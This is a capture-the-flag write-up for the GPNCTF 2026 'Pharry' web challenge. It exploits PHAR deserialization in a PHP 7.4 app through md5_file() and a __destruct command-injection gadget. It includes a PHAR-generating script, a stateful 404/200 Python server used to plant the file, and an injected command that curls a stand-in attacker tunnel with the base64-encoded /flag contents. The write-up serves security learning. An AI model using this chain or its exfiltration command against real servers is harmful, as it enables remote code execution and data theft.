Pharry
gpnctf
Task: PHP 7.4 app with md5_file() on user-controlled path, User class with __destruct() calling system('rm ' . avatar_path). Solution: plant a malicious PHAR via stateful HTTP server (404→200 toggle), trigger phar:// deserialization through md5_file() to get RCE via __destruct gadget.
$ ls tags/ techniques/
Pharry — GPNCTF 2026
Description
PHP7 was soo cooked...
A PHP 7.4 web application takes a path GET parameter and calls md5_file() on it. A User class with a dangerous __destruct() method provides a command injection gadget. The goal is to achieve RCE and read the flag from the server.
Analysis
Source Code (index.php)
<?php class User { public $avatar_path; public $name; public $password; function __construct($name, $password) { $this->name = $name; $this->password = $password; $this->avatar_path = "avatars/".$name.".png"; system("touch ".$this->avatar_path); } function __destruct() { system("rm ".$this->avatar_path); } } $file = $_GET['path']; $res = md5_file($file); if ($res == FALSE){ file_put_contents("/tmp/remote_file.jpg",file_get_contents($file)); $res = md5_file("/tmp/remote_file.jpg"); } if ($res == 0xdeadbeef){ echo "Congratulations! Here is not your flag: ".file_get_contents("flag.txt"); } else{ echo $res; } ?>
Vulnerability Chain
-
PHAR Deserialization (PHP 7.x): The challenge title "Pharry" is a pun on PHAR. In PHP 7.x,
md5_file()(and other file functions likefile_exists,fopen, etc.) automatically deserialize PHAR metadata when called with thephar://stream wrapper. This behavior was hardened/removed in PHP 8.0+. The flavor text "PHP7 was soo cooked" confirms the target runs PHP 7. -
Command Injection Gadget:
User::__destruct()callssystem("rm ".$this->avatar_path). By crafting aUserobject withavatar_path = "x; <malicious_command> #", we get arbitrary command execution when the object is garbage-collected after deserialization. -
File Plant Primitive: The FALSE branch writes remote content to
/tmp/remote_file.jpgviafile_get_contents(). This allows planting a malicious PHAR file on the server's filesystem at a known path. -
Red Herrings: The
$res == 0xdeadbeefcomparison (PHP type juggling with loose==) and theflag.txtcontaining ASCII art are both decoys. The real flag is at/flagon the server.
The Stateful Server Problem
The key challenge is getting into the FALSE branch. md5_file() succeeds on http:// URLs (it fetches the content and returns its MD5 hash), so it never returns FALSE for a valid remote URL. Both md5_file() and file_get_contents() use the same PHP stream wrappers — there's no standard wrapper where one fails and the other succeeds.
Solution: A stateful HTTP server that returns 404 on the 1st request (causing md5_file to return FALSE) and 200 with PHAR bytes on the 2nd request (so file_get_contents succeeds and writes the PHAR to /tmp/remote_file.jpg). Within a single PHP request, md5_file() and file_get_contents() make separate HTTP requests to the same URL, allowing the server to respond differently.
Solution
Step 1: Generate Malicious PHAR with PHP 7.4
The PHAR must be generated with PHP 7.4 — PHP 8.x produces a subtly different manifest format that causes "truncated entry" errors on PHP 7.4 targets.
<?php // gen_phar.php — run with: docker run --rm -v "$(pwd):/work" -w /work php:7.4-cli php -d phar.readonly=0 gen_phar.php class User { public $avatar_path; public $name; public $password; } @unlink("exploit.phar"); $phar = new Phar("exploit.phar"); $phar->startBuffering(); $phar->setStub("<?php __HALT_COMPILER(); ?>"); $phar->addFromString("test.txt", "test"); $o = new User(); $TUN = "https://ATTACKER_TUNNEL_URL"; $cmd = "curl -s $TUN/BEACON; D=\$( cat /flag* 2>/dev/null | base64 | tr -d \"\\n\"); curl -s $TUN/FLAG/\$D"; $o->avatar_path = "x; $cmd #"; $o->name = "x"; $o->password = "x"; $phar->setMetadata($o); $phar->setSignatureAlgorithm(Phar::SHA1); $phar->stopBuffering(); echo "phar created, size=".filesize("exploit.phar")."\n";
Build with Docker:
docker run --rm -v "$(pwd):/work" -w /work php:7.4-cli php -d phar.readonly=0 gen_phar.php
Step 2: Stateful HTTP Server (404→200 Toggle)
#!/usr/bin/env python3 # stateful_server.py — serves 404 on odd requests, 200+phar on even requests from http.server import HTTPServer, BaseHTTPRequestHandler import os request_count = {} class Handler(BaseHTTPRequestHandler): def do_GET(self): path = self.path count = request_count.get(path, 0) + 1 request_count[path] = count print(f"[{count}] {path}", flush=True) if path == "/phar": if count % 2 == 1: # odd requests -> 404 (for md5_file) self.send_response(404) self.end_headers() else: # even requests -> 200 + phar (for file_get_contents) data = open("exploit.phar", "rb").read() self.send_response(200) self.send_header("Content-Type", "application/octet-stream") self.send_header("Content-Length", str(len(data))) self.end_headers() self.wfile.write(data) else: self.send_response(200) self.end_headers() def log_message(self, format, *args): pass print("Server on :8899", flush=True) HTTPServer(("0.0.0.0", 8899), Handler).serve_forever()
Expose via cloudflared tunnel:
cloudflared tunnel --url http://localhost:8899
Step 3: Plant the PHAR on the Server
GET /?path=https://TUNNEL_URL/phar
What happens inside PHP:
md5_file("https://TUNNEL_URL/phar")→ server returns 404 →md5_filereturns FALSE- Enters the FALSE branch →
file_get_contents("https://TUNNEL_URL/phar")→ server returns 200 + PHAR bytes file_put_contents("/tmp/remote_file.jpg", <phar_bytes>)→ PHAR planted at known pathmd5_file("/tmp/remote_file.jpg")→ returns MD5 hash of the PHAR (confirms successful write)
Step 4: Trigger PHAR Deserialization → RCE
GET /?path=phar:///tmp/remote_file.jpg/test.txt
What happens inside PHP 7.4:
md5_file("phar:///tmp/remote_file.jpg/test.txt")→ PHP 7.4 auto-deserializes PHAR metadata- Creates
Userobject withavatar_path = "x; curl ... #" - Object is garbage-collected →
__destruct()fires →system("rm x; curl -s TUNNEL/BEACON; D=$(cat /flag* | base64 | tr -d '\n'); curl -s TUNNEL/FLAG/$D #") - Flag arrives at attacker's tunnel as a base64-encoded URL path segment
Step 5: Decode the Flag
The cloudflared tunnel logs show an incoming request like:
GET /FLAG/R1BOQ1RGe1dlQl9pNV9GT3JfdzNFOHNfQU5EX1NVY0s1X1BoUF9JU19Db29MXzdvdTZIfQ==
echo 'R1BOQ1RGe1dlQl9pNV9GT3JfdzNFOHNfQU5EX1NVY0s1X1BoUF9JU19Db29MXzdvdTZIfQ==' | base64 -d # GPNCTF{WeB_i5_FOr_w3E8s_AND_SUcK5_PhP_IS_CooL_7ou6H}
$ cat /etc/motd
Liked this one?
Pro unlocks every writeup, every flag, and API access. $9/mo.
$ cat pricing.md$ grep --similar
Similar writeups
- [web][Pro]Vault— tamuctf
- [infra][Pro]Ламер (Lamer)— hackerlab
- [web][Pro]Lab 313 — ThreadForge — PHAR Deserialization Chain via Backup Leak & Chunked Upload— hackadvisor
- [web][Pro]Revenge Upload— hackerlab
- [web][Pro]Portfolio (Red Portfolio)— hackerlab